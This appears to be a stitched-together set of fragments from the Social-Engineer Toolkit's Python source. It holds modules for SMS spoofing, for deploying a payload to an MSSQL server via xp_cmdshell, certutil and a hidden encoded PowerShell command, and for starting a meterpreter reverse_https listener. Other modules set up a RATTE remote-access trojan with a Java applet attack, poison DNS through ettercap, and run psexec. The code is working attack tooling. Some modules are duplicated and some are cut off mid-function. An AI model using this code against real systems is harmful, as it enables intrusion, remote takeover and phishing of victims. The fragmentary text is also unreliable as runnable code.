filewrite.write(infile + " " + str(counter) + "\n")
# close the file
filewrite.close()
# read in formatted filenames
fileread = file(setdir + "/sms.templates", "r").readlines()
print "Below is a list of available templates:\n"
for line in fileread:
line = line.rstrip()
line = line.split(" ")
filename = line[0]
# read in file
fileread2 = file("src/templates/sms/%s" % (filename),
"r").readlines()
for line2 in fileread2:
match = re.search("SUBJECT=", line2)
if match:
line2 = line2.rstrip()
line2 = line2.split("=")
line2 = line2[1]
# strip double quotes
line2 = line2.replace('"', "")
# display results back
print line[1] + ": " + line2
# allow user to select template
choice = raw_input(core.setprompt(["7"], "Select template"))
for line in fileread:
# split based off of space
line = line.split(" ")
# search for the choice
match = re.search(str(choice), line[1])
if match:
extract = line[0]
fileopen = file("src/templates/sms/" + str(extract),
"r").readlines()
for line2 in fileopen:
match2 = re.search("ORIGIN=", line2)
if match2:
origin = line2.replace('"', "")
origin = origin.split("=")
origin = origin[1]
match3 = re.search("SUBJECT=", line2)
if match3:
subject = line2.replace('"', "")
subject = subject.split("=")
subject = subject[1]
match4 = re.search("BODY=", line2)
if match4:
body = line2.replace('"', "")
body = body.replace(r'\n', " \n ")
body = body.split("=")
body = body[1]
break
if template_choice == '2':
try:
origin = raw_input(core.setprompt(["7"],
"Source number phone"))
body = raw_input(
core.setprompt([
"7"
], "Body of the message, hit return for a new line. Control+c when finished"
))
while body != 'sdfsdfihdsfsodhdsofh':
try:
body += ("\n")
body += raw_input("Next line of the body: ")
except KeyboardInterrupt:
break
except KeyboardInterrupt:
pass
break
if template_choice == '99':
break
if template_choice != '3':
while 1:
print("""
Service Selection
There are diferent services you can use for the SMS spoofing, select
your own.
1. SohoOS (buggy)
2. Lleida.net (pay)
3. SMSGANG (pay)
4. Android Emulator (need to install Android Emulator)
99. Cancel and return to SMS Spoofing Menu
""")
service_option = raw_input(core.setprompt(["7"], ""))
# exit
if service_option == '1':
break
if service_option == '2':
break
if service_option == '3':
break
if service_option == '4':
break
if service_option == '99':
break
if template_choice != '3' and service_option != '99':
#sohoOS service
if service_option == '1':
for to in phones:
send_sohoos_sms(to.rstrip(), origin.rstrip(), body.rstrip())
# Finish here then return to main menu
core.print_status("SET has completed!")
core.return_continue()
#Lleida.net service
if service_option == '2':
user = raw_input(core.setprompt(["7"], "Your Lleida.net user"))
password = raw_input(
core.setprompt(["7"], "Your Lleida.net password"))
email = raw_input(
core.setprompt(["7"], "Email for the receipt (optional)"))
for to in phones:
send_lleidanet_sms(to.rstrip(), origin.rstrip(), body.rstrip(),
user, password, email)
# Finish here then return to main menu
core.print_status("SET has completed!")
core.return_continue()
#SMSGANG service
if service_option == '3':
pincode = raw_input(core.setprompt(["7"], "Your SMSGANG pincode"))
for to in phones:
send_smsgang_sms(to.rstrip(), origin.rstrip(), body.rstrip(),
pincode)
# Finish here then return to main menu
core.print_status("SET has completed!")
core.return_continue()
#Andriod Emulator service
if service_option == '4':
for to in phones:
send_android_emu_sms(origin.rstrip(), body.rstrip())
# Finish here then return to main menu
core.print_status("SET has completed!")
core.return_continue()
#!/usr/bin/python
import subprocess
import os
import re
import sys
from src.core import setcore
# definepath
definepath = os.getcwd()
sys.path.append(definepath)
meta_path = setcore.meta_path()
# launch msf listener
setcore.PrintInfo("The payload can be found in the SET home directory.")
choice = raw_input(setcore.setprompt("0", "Start the listener now? [yes|no]"))
if choice == "yes" or choice == "y":
# if we didn't select the SET interactive shell as our payload
if not os.path.isfile("src/program_junk/set.payload"):
setcore.PrintInfo(
"Please wait while the Metasploit listener is loaded...")
subprocess.Popen(
"ruby %s/msfconsole -L -n -r src/program_junk/meta_config" %
(meta_path),
shell=True).wait()
# if we did select the set payload as our option
if os.path.isfile("src/program_junk/set.payload"):
fileopen = file("src/program_junk/port.options", "r")
set_payload = file("src/program_junk/set.payload", "r")
After the conversion takes place, Alphanumeric shellcode will then be injected
straight into memory and the stager created and shot back to you.
""")
# if we dont detect metasploit
if not os.path.isfile(msf_path):
sys.exit("\n[!] Your no gangster... Metasploit not detected, check set_config.\n")
# if we hit here we are good since msfvenom is installed
###################################################
# USER INPUT: SHOW PAYLOAD MENU 2 #
###################################################
show_payload_menu2 = core.create_menu(payload_menu_2_text, payload_menu_2)
payload = (input(core.setprompt(["14"], "")))
if payload == "exit":
core.exit_set()
# if its default then select meterpreter
if payload == "":
payload = "2"
# assign the right payload
payload = ms_payload(payload)
# if we're downloading and executing a file
url = ""
port = ""
if payload == "windows/download_exec":
def deploy_hex2binary(ipaddr, port, username, password):
# base variable used to select payload option
option = None
choice1 = "1"
conn = _mssql.connect("{0}:{1}".format(ipaddr, port), username, password)
core.print_status("Enabling the xp_cmdshell stored procedure...")
try:
conn.execute_query(
"exec master.dbo.sp_configure 'show advanced options',1;"
"GO;"
"RECONFIGURE;"
"GO;"
"exec master.dbo.sp_configure 'xp_cmdshell', 1;"
"GO;"
"RECONFIGURE;"
"GO")
except:
pass
# just throw a simple command via powershell to get the output
try:
print(
"""Pick which deployment method to use. The first is PowerShell and should be used on any modern operating system. The second method will use the certutil method to convert a binary to a binary.\n"""
)
choice = input("Enter your choice:\n\n"
"1.) Use PowerShell Injection (recommended)\n"
"2.) Use Certutil binary conversion\n\n"
"Enter your choice [1]:")
if choice == "":
choice = "1"
if choice == "1":
core.print_status(
"Powershell injection was selected to deploy to the remote system (awesome)."
)
option_ps = input(
"Do you want to use powershell injection? [yes/no]:")
if option_ps.lower(
) == "" or option_ps == "y" or option_ps == "yes":
option = "1"
core.print_status("Powershell delivery selected. Boom!")
else:
option = "2"
# otherwise, fall back to the older version using debug conversion via hex
else:
core.print_status("Powershell not selected, using debug method.")
option = "2"
except Exception as err:
print(err)
payload_filename = None
# if we don't have powershell
if option == "2":
# give option to use msf or your own
core.print_status("You can either select to use a default "
"Metasploit payload here or import your "
"own in order to deliver to the system. "
"Note that if you select your own, you "
"will need to create your own listener "
"at the end in order to capture this.\n\n")
choice1 = input("1.) Use Metasploit (default)\n"
"2.) Select your own\n\n"
"Enter your choice[1]:")
if choice1 == "":
choice1 = "1"
if choice1 == "2":
attempts = 0
while attempts <= 2:
payload_filename = input(
"Enter the path to your file you want to deploy to the system (ex /root/blah.exe):"
)
if os.path.isfile(payload_filename):
break
else:
core.print_error("File not found! Try again.")
attempts += 1
else:
core.print_error(
"Computers are hard. Find the path and try again. Defaulting to Metasploit payload."
)
choice1 = "1"
if choice1 == "1":
web_path = None
prep_powershell_payload()
# if we are using a SET interactive shell payload then we need to make
# the path under web_clone versus ~./set
if os.path.isfile(os.path.join(core.setdir + "set.payload")):
web_path = os.path.join(core.setdir + "web_clone")
# then we are using metasploit
else:
if operating_system == "posix":
web_path = core.setdir
# if it isn't there yet
if not os.path.isfile(core.setdir + "1msf.exe"):
# move it then
subprocess.Popen("cp %s/msf.exe %s/1msf.exe" %
(core.setdir, core.setdir),
shell=True).wait()
subprocess.Popen(
"cp %s/1msf.exe %s/ 1> /dev/null 2> /dev/null" %
(core.setdir, core.setdir),
shell=True).wait()
subprocess.Popen(
"cp %s/msf2.exe %s/msf.exe 1> /dev/null 2> /dev/null"
% (core.setdir, core.setdir),
shell=True).wait()
payload_filename = os.path.join(web_path + "1msf.exe")
with open(payload_filename, "rb") as fileopen:
# read in the binary
data = fileopen.read()
# convert the binary to hex
data = binascii.hexlify(data)
# we write out binary out to a file
with open(os.path.join(core.setdir + "payload.hex"), "w") as filewrite:
filewrite.write(data)
if choice1 == "1":
# if we are using metasploit, start the listener
if not os.path.isfile(os.path.join(core.setdir + "set.payload")):
if operating_system == "posix":
try:
core.module_reload(pexpect)
except:
import pexpect
core.print_status(
"Starting the Metasploit listener...")
msf_path = core.meta_path()
child2 = pexpect.spawn("{0} -r {1}\r\n\r\n".format(
os.path.join(core.meta_path() + "msfconsole"),
os.path.join(core.setdir + "meta_config")))
# random executable name
random_exe = core.generate_random_string(10, 15)
#
# next we deploy our hex to binary if we selected option 1 (powershell)
#
if option == "1":
core.print_status(
"Using universal powershell x86 process downgrade attack..")
payload = "x86"
# specify ipaddress of reverse listener
ipaddr = core.grab_ipaddress()
core.update_options("IPADDR=" + ipaddr)
port = input(
core.setprompt(["29"], "Enter the port for the reverse [443]"))
if not port:
port = "443"
core.update_options("PORT={0}".format(port))
core.update_options("POWERSHELL_SOLO=ON")
core.print_status(
"Prepping the payload for delivery and injecting alphanumeric shellcode..."
)
with open(os.path.join(core.setdir + "/payload_options.shellcode"),
"w") as filewrite:
# format needed for shellcode generation
filewrite.write(
"windows/meterpreter/reverse_https {0},".format(port))
try:
core.module_reload(src.payloads.powershell.prep)
except:
import src.payloads.powershell.prep
# create the directory if it does not exist
if not os.path.isdir(os.path.join(core.setdir + "reports/powershell")):
os.makedirs(os.path.join(core.setdir + "reports/powershell"))
with open(os.path.join(core.setdir + "x86.powershell")) as x86:
x86 = x86.read()
x86 = "powershell -nop -window hidden -noni -EncodedCommand {0}".format(
x86)
core.print_status("If you want the powershell commands and attack, "
"they are exported to {0}".format(
os.path.join(core.setdir +
"reports/powershell")))
with open(
os.path.join(
core.setdir +
"/reports/powershell/x86_powershell_injection.txt"),
"w") as filewrite:
filewrite.write(x86)
# if our payload is x86 based - need to prep msfconsole rc
if payload == "x86":
powershell_command = x86
# powershell_dir = core.setdir + "/reports/powershell/x86_powershell_injection.txt"
with open(
os.path.join(core.setdir +
"reports/powershell/powershell.rc"),
"w") as filewrite:
filewrite.write(
"use multi/handler\n"
"set payload windows/meterpreter/reverse_https\n"
"set lport {0}\n"
"set LHOST 0.0.0.0\n"
"exploit -j".format(port))
else:
powershell_command = None
# grab the metasploit path from config or smart detection
msf_path = core.meta_path()
if operating_system == "posix":
try:
core.module_reload(pexpect)
except:
import pexpect
core.print_status("Starting the Metasploit listener...")
child2 = pexpect.spawn("{0} -r {1}".format(
os.path.join(msf_path + "msfconsole"),
os.path.join(core.setdir +
"reports/powershell/powershell.rc")))
core.print_status(
"Waiting for the listener to start first before we continue forward..."
)
core.print_status(
"Be patient, Metasploit takes a little bit to start...")
child2.expect("Starting the payload handler", timeout=30000)
core.print_status(
"Metasploit started... Waiting a couple more seconds for listener to activate.."
)
time.sleep(5)
# assign random_exe command to the powershell command
random_exe = powershell_command
#
# next we deploy our hex to binary if we selected option 2 (debug)
#
if option == "2":
# here we start the conversion and execute the payload
core.print_status(
"Sending the main payload via to be converted back to a binary.")
# read in the file 900 bytes at a time
#with open(os.path.join(core.setdir + 'payload.hex'), 'r') as fileopen:
fileopen = open(core.setdir + 'payload.hex', "r")
core.print_status("Dropping initial begin certificate header...")
conn.execute_query(
"exec master ..xp_cmdshell 'echo -----BEGIN CERTIFICATE----- > {0}.crt'"
.format(random_exe))
while fileopen:
data = fileopen.read(900).rstrip()
#for data in fileopen.read(900).rstrip():
if data == "":
break
core.print_status(
"Deploying payload to victim machine (hex): {bold}{data}{endc}\n"
.format(bold=core.bcolors.BOLD,
data=data,
endc=core.bcolors.ENDC))
conn.execute_query(
"exec master..xp_cmdshell 'echo {data} >> {exe}.crt'".format(
data=data, exe=random_exe))
core.print_status(
"Delivery complete. Converting hex back to binary format.")
core.print_status(
"Dropping end header for binary format conversion...")
conn.execute_query(
"exec master ..xp_cmdshell 'echo -----END CERTIFICATE----- >> {0}.crt'"
.format(random_exe))
core.print_status(
"Converting hex binary back to hex using certutil - Matthew Graeber man crush enabled."
)
conn.execute_query(
"exec master..xp_cmdshell 'certutil -decode {0}.crt {0}.exe'".
format(random_exe))
core.print_status(
"Executing the payload - magic has happened and now its time for that moment.. "
"You know. When you celebrate. Salute to you ninja - you deserve it."
)
conn.execute_query(
"exec master..xp_cmdshell '{0}.exe'".format(random_exe))
# if we are using SET payload
if choice1 == "1":
if os.path.isfile(os.path.join(core.setdir + "set.payload")):
core.print_status(
"Spawning separate child process for listener...")
try:
shutil.copyfile(os.path.join(core.setdir + "web_clone/x"),
definepath)
except:
pass
# start a threaded webserver in the background
subprocess.Popen("python src/html/fasttrack_http_server.py",
shell=True)
# grab the port options
# if core.check_options("PORT=") != 0:
# port = core.heck_options("PORT=")
#
# # if for some reason the port didnt get created we default to 443
# else:
# port = "443"
# thread is needed here due to the connect not always terminating thread,
# it hangs if thread isnt specified
try:
core.module_reload(thread)
except:
import thread
# execute the payload
# we append more commands if option 1 is used
if option == "1":
core.print_status("Triggering the powershell injection payload... ")
sql_command = (
"exec master..xp_cmdshell '{0}'".format(powershell_command))
thread.start_new_thread(conn.execute_query, (sql_command, ))
# using the old method
if option == "2":
core.print_status("Triggering payload stager...")
alphainject = ""
if os.path.isfile(os.path.join(core.setdir + "meterpreter.alpha")):
with open(os.path.join(core.setdir +
"meterpreter.alpha")) as fileopen:
alphainject = fileopen.read()
sql_command = ("xp_cmdshell '{0}.exe {1}'".format(
random_exe, alphainject))
# start thread of SQL command that executes payload
thread.start_new_thread(conn.execute_query, (sql_command, ))
time.sleep(1)
# if pexpect doesnt exit right then it freaks out
if choice1 == "1":
if os.path.isfile(os.path.join(core.setdir + "set.payload")):
os.system("python ../../payloads/set_payloads/listener.py")
try:
# interact with the child process through pexpect
child2.interact()
try:
os.remove("x")
except:
pass
except:
pass
from src.core.setcore import debug_msg, mod_name
me = mod_name()
while 1:
print """
SMS Attack Menu
There are diferent attacks you can launch in the context of SMS spoofing,
select your own.
1. SMS Attack Single Phone Number
2. SMS Attack Mass SMS
99. Return to SMS Spoofing Menu\n"""
attack_option=raw_input(core.setprompt("0",""))
if attack_option == 'exit':
core.exit_set()
# exit
if attack_option == '1':
print("\nSingle SMS Attack")
to = raw_input(core.setprompt(["7"], "Send sms to"))
phones = list()
phones.append(to)
sys.path.append("src/sms/client/")
try:
# ugly but "compliant" with SET architecture
debug_msg(me,"importing 'src.sms.client.sms_launch'",1)
reload(sms_launch)
sms_launch.phones = phones
#!/usr/bin/env python
import random
from src.core import setcore as core
try:
print ("\n [****] Custom Template Generator [****]\n")
author=raw_input(core.setprompt(["7"], "Name of the author"))
filename=randomgen=random.randrange(1,99999999999999999999)
filename=str(filename)+(".template")
origin=raw_input(core.setprompt(["7"], "Source phone # of the template"))
subject=raw_input(core.setprompt(["7"], "Subject of the template"))
body=raw_input(core.setprompt(["7"], "Body of the message"))
filewrite=file("src/templates/sms/%s" % (filename), "w")
filewrite.write("# Author: "+author+"\n#\n#\n#\n")
filewrite.write('ORIGIN='+'"'+origin+'"\n\n')
filewrite.write('SUBJECT='+'"'+subject+'"\n\n')
filewrite.write('BODY='+'"'+body+'"\n')
print "\n"
filewrite.close()
except Exception, e:
core.print_error("An error occured:")
core.print_error("ERROR:" + str(e))
for name in glob.glob("modules/*.py"):
counter = counter + 1
fileopen = file(name, "r")
for line in fileopen:
line = line.rstrip()
match = re.search("MAIN=", line)
if match:
line = line.replace('MAIN="', "")
line = line.replace('"', "")
line = " " + str(counter) + ". " + line
print line
print "\n 99. Return to the previous menu\n"
choice = raw_input(setcore.setprompt(["9"], ""))
if choice == 'exit':
setcore.ExitSet()
if choice == '99':
menu_return = "true"
# throw error if not integer
try:
choice = int(choice)
except:
setcore.PrintWarning("An integer was not used try again")
choice = raw_input(setcore.setprompt(["9"], ""))
# start a new counter to match choice
authoritative;
log-facility local7;
subnet 192.168.10.0 netmask 255.255.255.0 {
range 192.168.10.100 192.168.10.254;
option domain-name-servers 8.8.8.8;
option routers 192.168.10.1;
option broadcast-address 192.168.10.255;
default-lease-time 600;
max-lease-time 7200;
}
""")
dhcptun = None
show_fakeap_dhcp_menu = core.create_menu(text.fakeap_dhcp_text,
text.fakeap_dhcp_menu)
fakeap_dhcp_menu_choice = input(core.setprompt(["8"], ""))
if fakeap_dhcp_menu_choice != "":
fakeap_dhcp_menu_choice = core.check_length(fakeap_dhcp_menu_choice, 2)
# convert it to a string
fakeap_dhcp_menu_choice = str(fakeap_dhcp_menu_choice)
else:
fakeap_dhcp_menu_choice = "1"
if fakeap_dhcp_menu_choice == "1":
# writes the dhcp server out
core.print_status("Writing the dhcp configuration file to ~/.set")
with open(os.path.join(core.userconfigpath, "dhcp.conf"),
"w") as filewrite:
filewrite.write(dhcp_config1)
dhcptun = 1
def main():
valid_site = False
valid_ip = False
valid_response = False
input_counter = 0
#################
# get User Input
#################
# ipaddr=input(setprompt(["9", "2"], "IP address to connect back on"))
while valid_ip != True and input_counter < 3:
ipaddr = input(
core.setprompt(["9", "2"],
"Enter the IP address to connect back on"))
valid_ip = core.validate_ip(ipaddr)
if not valid_ip:
if input_counter == 2:
core.print_error(
"\nMaybe you have the address written down wrong?")
sleep(4)
return
else:
input_counter += 1
# try:
# ratteport=int(input(setprompt(["9", "2"], "Port RATTE Server should listen on")))
# while ratteport==0 or ratteport > 65535:
# print_warning('Port must not be equal to javaport!')
# ratteport=int(input(setprompt(["9", "2"], "Enter port RATTE Server should listen on")))
# except ValueError:
# ratteport=8080
try:
ratteport = int(
input(
core.setprompt(["9", "2"],
"Port RATTE Server should listen on [8080]")))
while ratteport == 0 or ratteport > 65535:
if ratteport == 0:
core.print_warning(text.PORT_NOT_ZERO)
if ratteport > 65535:
core.print_warning(text.PORT_TOO_HIGH)
ratteport = int(
input(
core.setprompt(
["9", "2"],
"Enter port RATTE Server should listen on [8080]")))
except ValueError:
# core.print_info("Port set to default of 8080")
ratteport = 8080
# persistent=input(setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
# if persistent == 'no' or persistent == '' or persistent == 'n':
# persistent='NO'
# else:
# persistent='YES'
while not valid_response:
persistent = input(
core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
persistent = str.lower(persistent)
if persistent == "no" or persistent == "n":
persistent = "NO"
valid_response = True
elif persistent == "yes" or persistent == "y":
persistent = "YES"
valid_response = True
else:
core.print_warning(text.YES_NO_RESPONSES)
valid_response = False
customexe = input(
core.setprompt([
"9", "2"
], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))
############
# prepare RATTE
############
prepare_ratte(ipaddr, ratteport, persistent, customexe)
core.print_status("Payload has been exported to %s" %
os.path.join(core.userconfigpath, "ratteM.exe"))
###################
# start ratteserver
###################
# prompt=input(setprompt(["9", "2"], "Start the ratteserver listener now [yes|no]"))
# if prompt == "yes" or prompt == "" or prompt == "y":
# print_info("Starting ratteserver...")
# ratte_listener_start(ratteport)
while not valid_response:
prompt = input(
core.setprompt(["9", "2"],
"Start the ratteserver listener now [yes|no]"))
prompt = str.lower(prompt)
if prompt == "no" or prompt == "n":
# prompt = "NO"
core.print_error("Aborting...")
sleep(2)
valid_response = True
elif prompt == "yes" or prompt == "y":
core.print_info("Starting ratteserver...")
ratte_listener_start(ratteport)
core.print_info("Stopping ratteserver...")
sleep(2)
valid_response = True
else:
core.print_warning(
"valid responses are 'n|y|N|Y|no|yes|No|Yes|NO|YES'")
import subprocess import _mssql # # # Fast-Track Main options and interface menus # # setcore.check_mssql() try: while 1: ################################################### # USER INPUT: SHOW WEB ATTACK MENU # ################################################### setcore.CreateMenu(text.fasttrack_text, text.fasttrack_menu) attack_vector = raw_input(setcore.setprompt(["19"], "")) if attack_vector == "99" or attack_vector == "quit" or attack_vector == "exit": break ################################## ################################## # mssql_scanner ################################## ################################## if attack_vector == "1": # start the menu setcore.CreateMenu(text.fasttrack_mssql_text1, text.fasttrack_mssql_menu1) # take input here attack_vector_sql = raw_input(setcore.setprompt(["19","21"], ""))
newpath = input("Enter the path to the .jar file: ")
if os.path.isfile(newpath):
break
# import into SET
core.print_status("Importing the applet into SET for weaponization...")
shutil.copyfile(newpath, os.path.join(core.setdir, "Signed_Update.jar.orig"))
shutil.copyfile(newpath, os.path.join(core.setdir, "Signed_Update.jar"))
core.print_status("The applet has been successfully imported into SET.")
# if we want to either generate a certificate or use our own certificate
# this is it
if firstprompt == "2":
cert_path = ""
# prompt for a different certificate
prompt = input(core.setprompt("0", "Have you already generated a code signing-certificate? [yes|no]")).lower()
# if we selected yes if we generated a code signing certificate
if prompt == "yes" or prompt == "y":
# prompt the user to import the code signing certificate
cert_path = input(core.setprompt("0", "Path to the code signing certificate file (provided by CA)"))
if not os.path.isfile(cert_path):
# loop forever
while True:
core.print_error("ERROR:Filename not found. Try again.")
# re-prompt if we didn't file the filename
cert_path = input(core.setprompt("0", "Path to the .cer certificate file"))
# if we find the filename then break out of loop
if os.path.isfile(cert_path):
break
# here is where we import the certificate
#!/usr/bin/env python
import random
from src.core import setcore as core
try:
print("\n [****] Custom Template Generator [****]\n")
print(
"\n Always looking for new templates! In the set/src/templates directory send an email\nto [email protected] if you got a good template!"
)
author = raw_input(core.setprompt("0", "Name of the author"))
filename = randomgen = random.randrange(1, 99999999999999999999)
filename = str(filename) + (".template")
subject = raw_input(core.setprompt("0", "Email Subject"))
try:
body = raw_input(
core.setprompt(
"0",
"Message Body, hit return for a new line. Control+c when you are finished"
))
while body != 'sdfsdfihdsfsodhdsofh':
try:
body += (r"\n")
body += raw_input("Next line of the body: ")
except KeyboardInterrupt:
break
except KeyboardInterrupt:
pass
filewrite = file("src/templates/%s" % (filename), "w")
filewrite.write("# Author: " + author + "\n#\n#\n#\n")
filewrite.write('SUBJECT=' + '"' + subject + '"\n\n')
filewrite.write('BODY=' + '"' + body + '"\n')
business, buy a code signing certificate, and publish an applet to be whatever you want.
"""
core.PrintError("*** WARNING ***")
core.PrintError(
"IN ORDER FOR THIS TO WORK YOU MUST INSTALL sun-java6-jdk or openjdk-6-jdk, so apt-get install openjdk-6-jdk"
)
core.PrintError("*** WARNING ***")
# use flag is in case someone already has a code signing certificate, in that case it bypasses the "no" answer
use_flag = 0
# prompt for a different certificate
prompt = raw_input(
core.setprompt(
"0",
"Have you already generated a code signing-certificate? [yes|no]"))
# if we selected yes if we generated a code signing certificate
if prompt == "yes" or prompt == "y":
# prompt the user to import the code signing certificate
cert_path = raw_input(
core.setprompt("0", "Path to the code signing certificate file"))
if not os.path.isfile(cert_path):
# loop forever
while 1 == 1:
core.PrintError("ERROR:Filename not found. Try again.")
# re-prompt if we didn't file the filename
cert_path = raw_input(
core.setprompt("0", "Path to the .cer certificate file"))
# if we find the filename then break out of loop
if os.path.isfile(cert_path): break
def main():
#pause=raw_input("This module has finished completing. Press <enter> to continue")
website = raw_input(
core.setprompt(["9", "2"],
"Enter website to clone (ex. https://gmail.com)"))
ipaddr = raw_input(
core.setprompt(["9", "2"], "Enter the IP address to connect back on"))
#javaport must be 80, cause applet uses in web injection port 80 to download payload!
try:
javaport = int(
raw_input(
core.setprompt(["9", "2"],
"Port java applet should listen on (ex. 443)")))
while javaport == 0 or javaport > 65535:
javaport = int(
raw_input(
core.setprompt(["9", "2"],
"Enter port java applet should listen on")))
except ValueError:
javaport = 80
#javaport=80
try:
ratteport = int(
raw_input(
core.setprompt(["9", "2"],
"Port RATTE Server should listen on")))
while ratteport == javaport or ratteport == 0 or ratteport > 65535:
core.PrintWarning("Port must not be equal to javaport!")
ratteport = int(
raw_input(
core.setprompt(["9", "2"],
"Port RATTE Server should listen on")))
except ValueError:
ratteport = 8080
persistent = raw_input(
core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
if persistent == "no" or persistent == "" or persistent == "n":
persistent = "NO"
else:
persistent = "YES"
customexe = raw_input(
core.setprompt([
"9", "2"
], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))
#if persistent == "no" or persistent == "" or persistent == "n":
# persistent="NO"
#else:
# persistent="YES"
#######################################
# prepare RATTE
#######################################
prepare_ratte(ipaddr, ratteport, persistent, customexe)
######################################
# Java Applet Attack to deploy RATTE
#######################################
core.PrintInfo("Starting java applet attack...")
java_applet_attack_tw(website, javaport, "reports/", ipaddr)
fileopen = file("%s/src/program_junk/rand_gen" % (definepath), "r")
for line in fileopen:
ratte_random = line.rstrip()
subprocess.Popen("cp %s/src/program_junk/ratteM.exe %s/reports/%s" %
(definepath, definepath, ratte_random),
shell=True).wait()
#######################
# start ratteserver
#######################
core.PrintInfo("Starting ratteserver...")
ratte_listener_start(ratteport)
######################
# stop webserver
######################
stop_web_server_tw()
def launch():
while 1:
print (
"""
1. Pre-Defined Template
2. One-Time Use SMS
99. Cancel and return to SMS Spoofing Menu
"""
)
template_choice = raw_input(core.setprompt(["7"], "Use a predefined template or craft a one time SMS?"))
# if predefined template go here
if template_choice == "1":
# set path for
path = "src/templates/sms/"
filewrite = file("src/program_junk/sms.templates", "w")
counter = 0
# Pull all files in the templates directory
for infile in glob.glob(os.path.join(path, "*.template")):
infile = infile.split("/")
# grab just the filename
infile = infile[3]
counter = counter + 1
# put it in a format we can use later in a file
filewrite.write(infile + " " + str(counter) + "\n")
# close the file
filewrite.close()
# read in formatted filenames
fileread = file("src/program_junk/sms.templates", "r").readlines()
print "Below is a list of available templates:\n"
for line in fileread:
line = line.rstrip()
line = line.split(" ")
filename = line[0]
# read in file
fileread2 = file("src/templates/sms/%s" % (filename), "r").readlines()
for line2 in fileread2:
match = re.search("SUBJECT=", line2)
if match:
line2 = line2.rstrip()
line2 = line2.split("=")
line2 = line2[1]
# strip double quotes
line2 = line2.replace('"', "")
# display results back
print line[1] + ": " + line2
# allow user to select template
choice = raw_input(core.setprompt(["7"], "Select template"))
for line in fileread:
# split based off of space
line = line.split(" ")
# search for the choice
match = re.search(str(choice), line[1])
if match:
extract = line[0]
fileopen = file("src/templates/sms/" + str(extract), "r").readlines()
for line2 in fileopen:
match2 = re.search("ORIGIN=", line2)
if match2:
origin = line2.replace('"', "")
origin = origin.split("=")
origin = origin[1]
match3 = re.search("SUBJECT=", line2)
if match3:
subject = line2.replace('"', "")
subject = subject.split("=")
subject = subject[1]
match4 = re.search("BODY=", line2)
if match4:
body = line2.replace('"', "")
body = body.replace(r"\n", " \n ")
body = body.split("=")
body = body[1]
break
if template_choice == "2":
try:
origin = raw_input(core.setprompt(["7"], "Source number phone"))
body = raw_input(
core.setprompt(["7"], "Body of the message, hit return for a new line. Control+c when finished")
)
while body != "sdfsdfihdsfsodhdsofh":
try:
body += "\n"
body += raw_input("Next line of the body: ")
except KeyboardInterrupt:
break
except KeyboardInterrupt:
pass
break
if template_choice == "99":
break
if template_choice != "3":
while 1:
print (
"""
Service Selection
There are diferent services you can use for the SMS spoofing, select
your own.
1. SohoOS (buggy)
2. Lleida.net (pay)
3. SMSGANG (pay)
4. Android Emulator (need to install Android Emulator)
99. Cancel and return to SMS Spoofing Menu
"""
)
service_option = raw_input(core.setprompt(["7"], ""))
# exit
if service_option == "1":
break
if service_option == "2":
break
if service_option == "3":
break
if service_option == "4":
break
if service_option == "99":
break
if template_choice != "3" and service_option != "99":
# sohoOS service
if service_option == "1":
for to in phones:
send_sohoos_sms(to.rstrip(), origin.rstrip(), body.rstrip())
# Finish here then return to main menu
core.print_status("SET has completed!")
core.return_continue()
# Lleida.net service
if service_option == "2":
user = raw_input(core.setprompt(["7"], "Your Lleida.net user"))
password = raw_input(core.setprompt(["7"], "Your Lleida.net password"))
email = raw_input(core.setprompt(["7"], "Email for the receipt (optional)"))
for to in phones:
send_lleidanet_sms(to.rstrip(), origin.rstrip(), body.rstrip(), user, password, email)
# Finish here then return to main menu
core.print_status("SET has completed!")
core.return_continue()
# SMSGANG service
if service_option == "3":
pincode = raw_input(core.setprompt(["7"], "Your SMSGANG pincode"))
for to in phones:
send_smsgang_sms(to.rstrip(), origin.rstrip(), body.rstrip(), pincode)
# Finish here then return to main menu
core.print_status("SET has completed!")
core.return_continue()
# Andriod Emulator service
if service_option == "4":
for to in phones:
send_android_emu_sms(origin.rstrip(), body.rstrip())
# Finish here then return to main menu
core.print_status("SET has completed!")
core.return_continue()
# SMBPass no The password for the specified username
# SMBSHARE C$ yes The name of a writeable share on the server
# SMBUser no The username to authenticate as
# THREADS 1 yes The number of concurrent threads
# WINPATH WINDOWS yes The name of the remote Windows directory
# msf auxiliary(psexec_command) >
# grab config options for stage encoding
stage_encoding = core.check_config("STAGE_ENCODING=").lower()
if stage_encoding == "off":
stage_encoding = "false"
else:
stage_encoding = "true"
rhosts = input(core.setprompt(["32"], "Enter the IP Address or range (RHOSTS) to connect to")) # rhosts
# username for domain/workgroup
username = input(core.setprompt(["32"], "Enter the username"))
# password for domain/workgroup
password = input(core.setprompt(["32"], "Enter the password or the hash"))
domain = input(core.setprompt(["32"], "Enter the domain name (hit enter for logon locally)")) # domain name
threads = input(core.setprompt(["32"], "How many threads do you want [enter for default]"))
# if blank specify workgroup which is the default
if domain == "":
domain = "WORKGROUP"
# set the threads
if threads == "":
threads = "15"
payload = core.check_config("POWERSHELL_INJECT_PAYLOAD_X86=").lower()
ipaddr=line
if ettercapchoice == 'y':
try:
print """
This attack will poison all victims on your local subnet, and redirect them
when they hit a specific website. The next prompt will ask you which site you
will want to trigger the DNS redirect on. A simple example of this is if you
wanted to trigger everyone on your subnet to connect to you when they go to
browse to www.google.com, the victim would then be redirected to your malicious
site. You can alternatively poison everyone and everysite by using the wildcard
'*' flag.
IF YOU WANT TO POISON ALL DNS ENTRIES (DEFAULT) JUST HIT ENTER OR *
"""
setcore.PrintInfo("Example: http://www.google.com")
dns_spoof=raw_input(setcore.setprompt("0", "Site to redirect to attack machine [*]"))
os.chdir(path)
# small fix for default
if dns_spoof == "":
# set default to * (everything)
dns_spoof="*"
# remove old stale files
subprocess.Popen("rm etter.dns 1> /dev/null 2> /dev/null", shell=True).wait()
# prep etter.dns for writing
filewrite=file("etter.dns", "w")
# send our information to etter.dns
filewrite.write("%s A %s" % (dns_spoof,ipaddr))
# close the file
filewrite.close()
# set bridge variable to nothing
bridge=""
import subprocess
import src.core.setcore as core
from src.core.menu import text
# Py2/3 compatibility
# Python3 renamed raw_input to input
try:
input = raw_input
except NameError:
pass
core.debug_msg(core.mod_name(), "printing 'text.powershell menu'", 5)
show_powershell_menu = core.create_menu(text.powershell_text, text.powershell_menu)
